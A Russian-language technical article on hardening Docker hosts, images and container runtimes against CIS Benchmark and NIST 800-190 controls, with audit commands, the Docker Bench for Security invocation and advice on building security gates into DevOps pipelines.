    Раздел 1 и 2: Host Configuration и Docker Daemon

    Эти разделы покрывают уровень Cloud/Cluster модели 4C. CIS требует жесткого контроля над директориями, где Docker хранит свои данные.

    Контроль 1.1.1 Ensure a separate partition for containers has been created требует, чтобы /var/lib/docker находился на отдельном логическом томе. Если контейнеры пишут данные в файловую систему хоста (например, через драйвер overlay2), злоумышленник или вышедшее из-под контроля приложение может исчерпать место на корневом разделе хоста, вызвав отказ в обслуживании (Denial of Service) всей ноды.

    Контроль 2.1 Ensure network traffic is restricted between containers on the default bridge предписывает запускать демон с флагом --icc=false. По умолчанию Docker разрешает всем контейнерам в стандартной сети bridge беспрепятственно общаться друг с другом. Это нарушает принцип минимальных привилегий и делает возможным латеральное движение (Lateral Movement) при компрометации одного из сервисов.

    Раздел 4: Container Images and Build File Configuration

    Этот раздел транслирует требования безопасности в инструкции Dockerfile.

    Контроль 4.1 Ensure a user for the container has been created является одним из самых критичных. По умолчанию процессы в контейнере запускаются от имени root (UID 0). CIS требует наличия инструкции USER <username> или USER <UID> в Dockerfile. Аудит этого контроля выглядит просто: docker inspect --format='{{.Config.User}}' <image_name> Если команда возвращает пустую строку или 0, образ не соответствует стандарту. Запуск от непривилегированного пользователя радикально снижает радиус поражения при побеге из контейнера, так как злоумышленник окажется в пространстве хоста с правами обычного пользователя (если не используются User Namespaces).

    Контроль 4.6 Ensure that HEALTHCHECK instructions have been added to container images. На первый взгляд, это метрика надежности (SRE), а не ИБ. Однако с точки зрения безопасности, отсутствие проверок жизнеспособности (health checks) позволяет злоумышленнику запустить внутри контейнера процесс майнинга или бэкдор, который «повесит» основное приложение, но сам контейнер при этом останется в статусе Running. Оркестратор не перезапустит его, и атака останется незамеченной.

    Раздел 5: Container Runtime Configuration

    Здесь CIS Benchmark напрямую работает с изоляцией ядра.

    Контроль 5.1 Ensure that, if applicable, AppArmor Profile is enabled. Аудит проверяет, что при запуске не передан флаг --security-opt apparmor=unconfined. AppArmor ограничивает доступ процессов к файлам и POSIX-возможностям (Capabilities) на основе профилей.

    Контроль 5.21 Ensure the default seccomp profile is not Disabled. Secure Computing Mode (Seccomp) — это фаервол для системных вызовов. По умолчанию Docker применяет профиль, который блокирует около 44 из 300+ системных вызовов Linux (включая mount, kexec_load, bpf). Отключение Seccomp (--security-opt seccomp=unconfined) открывает огромную поверхность атаки на ядро.

    Автоматизация: Docker Bench for Security

    Вручную проверять сотни контролей CIS Benchmark на каждом хосте невозможно. Для автоматизации аудита используется официальный инструмент — Docker Bench for Security. Это open-source shell-скрипт, который парсит конфигурации демона, инспектирует запущенные контейнеры и выдает отчет в формате [PASS], [WARN], [INFO].

    Запуск инструмента часто производится в виде контейнера: docker run -it --net host --pid host --userns host --cap-add audit_control -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST -v /etc:/etc:ro -v /usr/bin/containerd:/usr/bin/containerd:ro -v /usr/bin/runc:/usr/bin/runc:ro -v /usr/lib/systemd:/usr/lib/systemd:ro -v /var/lib:/var/lib:ro -v /var/run/docker.sock:/var/run/docker.sock:ro --label docker_bench_security docker/docker-bench-security

    В этой команде кроется профессиональная ирония: чтобы проверить инфраструктуру на предмет опасных конфигураций, мы вынуждены запустить контейнер с максимальными нарушениями этих самых конфигураций (использование хостовых Namespaces net, pid, userns, монтирование docker.sock и критичных системных директорий). Это необходимо, так как скрипту требуется полный доступ к ресурсам хоста для аудита.

    Важно понимать ограничения автоматизированных сканеров комплаенса. Docker Bench может выдать [PASS] на проверку AppArmor, если профиль применен. Но скрипт не анализирует семантику самого профиля. Если ИТ-отдел применил кастомный профиль AppArmor, который разрешает абсолютно все действия (по сути, являясь заглушкой), комплаенс будет пройден, а реальная безопасность — скомпрометирована. Комплаенс доказывает лишь наличие механизма, но не его эффективность.

    Разработка ИБ-требований для DevOps

    Знание стандартов бесполезно, если они остаются в виде PDF-документов. Задача специалиста ИБ — интегрировать требования NIST и CIS в пайплайны CI/CD и платформенные манифесты. Разработка требований должна строиться по принципу «сдвига влево» (Shift Left).

  • Статический анализ Dockerfile (Linting): Внедрение инструментов вроде Hadolint в CI-пайплайн. Правила должны жестко блокировать сборку (Hard Gate), если обнаружены инструкции USER root, проброс секретов через переменные окружения ENV или скачивание бинарных файлов без проверки хеш-сумм (нарушение цепочки поставок).
  • Анализ рантайм-конфигураций: Если инфраструктура разворачивается через Docker Compose или Kubernetes, манифесты должны проверяться до деплоя. Запрет на флаги privileged, pid: host, network_mode: host должен контролироваться автоматически.
  • Управление исключениями: Не все требования CIS Level 2 применимы в реальности. Например, запрет на монтирование сокета демона конфликтует с паттернами мониторинга (агенты Datadog или Prometheus). В таких случаях ИБ-отдел должен фиксировать принятие риска (Risk Acceptance) и требовать внедрения компенсирующих мер (например, монтирование сокета строго в режиме Read-Only и применение жесткого профиля SELinux к контейнеру мониторинга).
  • Соблюдение стандартов NIST 800-190 и CIS Benchmarks не делает систему неуязвимой. Это базовый гигиенический минимум, отсекающий 90% автоматизированных атак и случайных ошибок конфигурации. Настоящая безопасность начинается там, где заканчивается комплаенс: в глубоком понимании того, как именно ваше приложение взаимодействует с системными вызовами ядра, и в создании кастомных профилей изоляции, точно подогнанных под бизнес-логику.